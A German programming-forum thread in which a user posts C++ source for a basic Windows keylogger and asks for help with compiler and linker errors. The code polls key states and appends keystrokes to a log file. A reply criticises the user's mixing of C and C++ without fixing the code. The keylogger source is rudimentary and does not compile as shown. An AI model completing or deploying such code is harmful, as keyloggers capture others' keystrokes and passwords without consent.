Programmierung eines einfachen Keyloggers
-
#include <iostream>
#include <Windows.h>
#include <fstream>using namespace std;
int Save(int _key, char *file);
int main() {
char i; while (true) { for (i = 8; i <= 255; i++) { if (GetAsyncKeyState(i) == -32767) { Save(i, "log.txt"); } } } return 0;
}
int Save(int _key, char *file) {
cout << _key << endl; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); fprintf(OUTPUT_FILE, "%s", &_key); fclose(OUTPUT_FILE); return 0;
}
kann mir jemand helfen?
Ich programmiere in Visual Studio 17 und bekomme folgende Fehler:
"Schweregrad Code Beschreibung Projekt Datei Zeile Unterdrückungszustand
Fehler (aktiv) E0167 Das Argument vom Typ ""const char *"" ist mit dem Parameter vom Typ ""char *"" inkompatibel. keylogger_cpp C:\Users\bruno\source\repos\keylogger_cpp\keylogger_cpp\main.cpp 16 ""Schweregrad Code Beschreibung Projekt Datei Zeile Unterdrückungszustand
Warnung C4477 "fprintf": Die Formatzeichenfolge "%s" erfordert ein Argument vom Typ "char *", das variadic-Argument "1" weist aber den Typ "int *" auf. keylogger_cpp c:\users\bruno\source\repos\keylogger_cpp\keylogger_cpp\main.cpp 32 ""Schweregrad Code Beschreibung Projekt Datei Zeile Unterdrückungszustand
Fehler LNK2019 Verweis auf nicht aufgelöstes externes Symbol ""int __cdecl Save(int,char const *)" (?Save@@YAHHPBD@Z)" in Funktion "_main". keylogger_cpp C:\Users\bruno\source\repos\keylogger_cpp\keylogger_cpp\main.obj 1""Schweregrad Code Beschreibung Projekt Datei Zeile Unterdrückungszustand
Fehler LNK1120 1 nicht aufgelöste Externe keylogger_cpp C:\Users\bruno\source\repos\keylogger_cpp\Debug\keylogger_cpp.exe 1 "Bitte helft mir. Ich habe schon mehrfach drüber geschaut finde aber keinen fehler im programm....
-
Die Fehlermeldungen sind doch sehr, sehr eindeutig. Hast du wenigstens mal versucht, diese zu verstehen? Erklär doch mal, wie du beispielsweise
Warnung C4477 "fprintf": Die Formatzeichenfolge "%s" erfordert ein Argument vom Typ "char *", das variadic-Argument "1" weist aber den Typ "int *" auf. keylogger_cpp c:\users\bruno\source\repos\keylogger_cpp\keylogger_cpp\main.cpp 32 "
interpretierst und wieso du denkst, dass diese Meldung nicht berechtigt wäre.
Viele/alle deiner Probleme kommen übrigens davon, dass du C mit C++ mischt. Benutze kein fprintf, benutze die fstreams! Benutze kein char*, benutze string! Allgemeiner: Wenn du selber programmierst, musst du auch verstehen, was du tust. Es reicht nicht, zu googeln und Codefetzen zusammen zu kopieren. Du musst die Sprache von Anfang an systematisch lernen!